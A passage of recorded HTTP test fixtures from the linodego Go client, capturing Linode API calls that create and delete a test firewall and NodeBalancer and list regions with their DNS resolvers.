DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancerFirewalls_List.yaml000066400000000000000000000605741455402072200334740ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 285860, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":285860}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 492998, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-45-110.ip.linodeusercontent.com", "ipv4": "172.105.45.110", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/492998/firewalls method: GET response: body: '{"data": [{"id": 285860, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "575" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/492998 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/285860 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancerNode_Create.yaml000066400000000000000000000620751455402072200327170ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228210, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 